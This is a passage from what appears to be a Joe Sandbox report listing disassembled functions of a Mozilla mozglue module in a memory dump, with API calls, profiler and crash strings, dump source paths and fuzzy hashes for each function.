Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6018C7
name, xrefs: 6C601939
Details, xrefs: 6C601925

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction ID: f877cb7043d3cdd284f342d1dd8ca80b5f7a95a41425fae7a381bb6044758125
Opcode Fuzzy Hash: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction Fuzzy Hash: 4F71FF70A00706DFCB08DF69C58079ABBB2FF85304F40466DD8155BB41DB74AAA9CBE6

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

profiler-paused, xrefs: 6C5F46E4
., xrefs: 6C5F476A
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C619830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C61985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C61987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6198D9

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction ID: 6850bd30f4138290602dd65e37943c8c2c363c6bcf4751beb6bc4d4bfeae03df
Opcode Fuzzy Hash: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction Fuzzy Hash: EF313571B002089BDB04AF5DDC409EF77B9DF85318F50842DEA1A9BB40CB35AD058BE9

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

profiler-paused, xrefs: 6C5F46E4
., xrefs: 6C5F476A
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5BBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C607A3F), ref: 6C5BBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C607A3F), ref: 6C5BBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C607A3F), ref: 6C5BBF7E

Strings

al, xrefs: 6C5BBF84

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: al
API String ID: 4279176481-2896146561
Opcode ID: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction ID: 2ff5de2da75b32c2eec15e6996a983c58d4ec4853b527f8414639407750b1d52
Opcode Fuzzy Hash: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction Fuzzy Hash: F911C0793046048FC729CF1CD599966FBF8FF5930A355885DE98A8BB50C731E800CB94

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850
MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5E0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E084C
EnterCriticalSection.KERNEL32(?), ref: 6C5E08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E08BD
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E08D5

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction ID: 19ef83c08482a0f8ea3c1b3c8fdfc7837052a99be66e95028db1d22e45cfc859
Opcode Fuzzy Hash: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction Fuzzy Hash: 0F219071A052099BDB048E65DC84BEE7379EF89709F500539D50AA7A40DF39A8058BD4

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5B1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5B17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5B18EE
free.MOZGLUE(?), ref: 6C5B1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B194C

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction ID: 981037f5d17e3700d38bb0e1bd2201113b5d6a94379deae98e077cee1e40fb7b
Opcode Fuzzy Hash: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction Fuzzy Hash: 4C81AE70A152059FCB08CF68DCA49AFBBB1FF89314F04452CE811AB754E730E955CBA2

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C6077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C607829

Part of subcall function 6C5DCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5A31A7), ref: 6C5DCC45
Part of subcall function 6C5DCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5A31A7), ref: 6C5DCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C60789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6078CF

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction ID: 297abd91c9a7b622260a04843133fe2be1a6b8dc702dc8f9656b893a9e19ed30
Opcode Fuzzy Hash: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction Fuzzy Hash: 6341AF71A047469FD300DF29C88056AFBF4FFCA254F604A2DE4A987640DB70E95ACB96

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

